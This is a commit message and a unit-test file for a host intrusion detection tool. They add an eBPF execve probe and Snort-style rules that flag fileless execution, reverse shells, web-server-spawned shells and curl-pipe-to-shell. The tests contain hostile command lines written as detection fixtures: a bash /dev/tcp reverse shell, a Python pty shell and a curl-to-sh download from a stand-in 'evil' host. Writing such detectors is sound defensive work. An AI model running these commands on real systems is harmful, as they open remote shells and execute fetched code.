Add event-driven eBPF execve layer with a Snort-style rule engine

Closes polling's blind spot (processes that exit between sweeps) with a real
eBPF probe and a declarative, data-driven detection engine — inspired by Snort
(rule language, signature IDs) and OSSEC (host-IDS framing).

New events/ subpackage:
- bcc_source.py : eBPF C tracing execve (filename, argv[1..2], ppid, uid,
                  parent comm) over a perf buffer, loaded via bcc; lazy import
                  + available()/try-except so it fails closed to poll-only when
                  bcc/root/BTF are absent — a broken probe never downs the daemon
- exec_event.py : the ExecEvent type
- rules.py      : ExecRule (sid/msg/severity/classtype + path/exec/parent/argv
                  conditions) and ExecRuleEngine; 4 shipped rules (fileless exec
                  100001, reverse-shell argv 100002, web/DB→shell RCE 100003,
                  curl|sh 100004); operators add more via exec_rules_file TOML
- monitor.py    : runs the source on a thread, routes events through the engine

Integration:
- daemon starts the monitor, shares a lock-guarded cooldown with the sweep
  loop, and feeds event alerts into the same snapshot pipeline
- Alert gains Snort-style sid + classtype; retrofitted onto all 7 poll
  detectors; snapshots and JSON now carry them
- config: ebpf_exec_monitor (default on, degrades), exec_rules_file
- systemd: opt-in ebpf.conf drop-in (relaxes MemoryDenyWriteExecute + widens
  caps for bcc's JIT) so the base unit stays hardened for poll-only
- sentinel-redteam: ebpf_exec drill (short-lived /tmp exec + /dev/tcp argv the
  poller can't see); footer now uses the Python CLI

Tests: +14 cases for the rule engine (each default rule match/non-match, rule
validation, parent-exclude). 39/39 pass. Graceful non-root degradation verified.

NOTE: the eBPF C follows bcc's execsnoop pattern but could not be run here
(BPF needs root); it wants a root smoke-test on a real host.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

tests/test_exec_rules.py

@@ -0,0 +1,101 @@
+# SPDX-License-Identifier: GPL-3.0-or-later
+"""Tests for the Snort-style execve rule engine (pure, no kernel needed)."""
+import unittest
+
+from enodia_sentinel.alert import Severity
+from enodia_sentinel.events.exec_event import ExecEvent
+from enodia_sentinel.events.rules import (
+    DEFAULT_EXEC_RULES,
+    ExecRule,
+    ExecRuleEngine,
+)
+
+
+def ev(filename="/usr/bin/ls", argv=(), parent="bash", pid=10, ppid=9, uid=0):
+    return ExecEvent(pid=pid, ppid=ppid, uid=uid, parent_comm=parent,
+                     filename=filename, argv=tuple(argv))
+
+
+class TestExecEvent(unittest.TestCase):
+    def test_derived_fields(self):
+        e = ev(filename="/tmp/x", argv=("-c", "echo hi"))
+        self.assertEqual(e.exec_comm, "x")
+        self.assertEqual(e.argv_str, "/tmp/x -c echo hi")
+
+
+class TestDefaultRules(unittest.TestCase):
+    def setUp(self):
+        self.engine = ExecRuleEngine()
+
+    def sids(self, e):
+        return {a.sid for a in self.engine.match(e)}
+
+    def test_fileless_tmp_exec(self):
+        self.assertIn(100001, self.sids(ev(filename="/tmp/.x/dropper")))
+        self.assertIn(100001, self.sids(ev(filename="/dev/shm/payload")))
+
+    def test_normal_path_no_fileless(self):
+        self.assertNotIn(100001, self.sids(ev(filename="/usr/bin/python3")))
+
+    def test_reverse_shell_devtcp(self):
+        e = ev(filename="/bin/bash",
+               argv=("-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"))
+        self.assertIn(100002, self.sids(e))
+
+    def test_reverse_shell_python(self):
+        e = ev(filename="/usr/bin/python3",
+               argv=("-c", "import socket,os,pty;s=socket.socket();pty.spawn('/bin/sh')"))
+        self.assertIn(100002, self.sids(e))
+
+    def test_benign_command_no_reverse_shell(self):
+        self.assertNotIn(100002, self.sids(ev(filename="/usr/bin/ls", argv=("-la",))))
+
+    def test_web_rce_shell_from_nginx(self):
+        e = ev(filename="/bin/sh", parent="nginx", argv=("-c", "id"))
+        sids = self.sids(e)
+        self.assertIn(100003, sids)
+
+    def test_web_rce_requires_interpreter_child(self):
+        # nginx spawning a normal helper is not an interpreter -> no web-rce
+        e = ev(filename="/usr/bin/convert", parent="nginx")
+        self.assertNotIn(100003, self.sids(e))
+
+    def test_login_shell_not_web_rce(self):
+        # sshd spawning bash is a normal login, not in the web/db server set
+        e = ev(filename="/bin/bash", parent="sshd")
+        self.assertNotIn(100003, self.sids(e))
+
+    def test_curl_pipe_sh(self):
+        e = ev(filename="/bin/sh",
+               argv=("-c", "curl http://evil/x.sh | sh"))
+        self.assertIn(100004, self.sids(e))
+
+    def test_severities(self):
+        sev = {r.sid: r.severity for r in DEFAULT_EXEC_RULES}
+        self.assertEqual(sev[100001], Severity.CRITICAL)
+        self.assertEqual(sev[100002], Severity.CRITICAL)
+        self.assertEqual(sev[100004], Severity.HIGH)
+
+    def test_alert_carries_sid_and_classtype(self):
+        e = ev(filename="/tmp/x")
+        alert = next(iter(self.engine.match(e)))
+        self.assertEqual(alert.sid, 100001)
+        self.assertEqual(alert.classtype, "fileless-execution")
+        self.assertEqual(alert.pids, (e.pid,))
+
+
+class TestRuleValidation(unittest.TestCase):
+    def test_rule_with_no_conditions_rejected(self):
+        with self.assertRaises(ValueError):
+            ExecRule(sid=999, msg="x", severity=Severity.HIGH, classtype="y")
+
+    def test_parent_exclude(self):
+        rule = ExecRule(sid=1, msg="m", severity=Severity.HIGH, classtype="c",
+                        exec_comm=frozenset({"bash"}),
+                        parent_exclude=frozenset({"sshd"}))
+        self.assertTrue(rule.matches(ev(filename="/bin/bash", parent="cron")))
+        self.assertFalse(rule.matches(ev(filename="/bin/bash", parent="sshd")))
+
+
+if __name__ == "__main__":
+    unittest.main()